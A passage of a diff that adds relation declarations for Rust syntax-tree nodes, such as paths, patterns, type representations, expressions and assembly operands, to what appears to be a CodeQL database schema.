@param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] 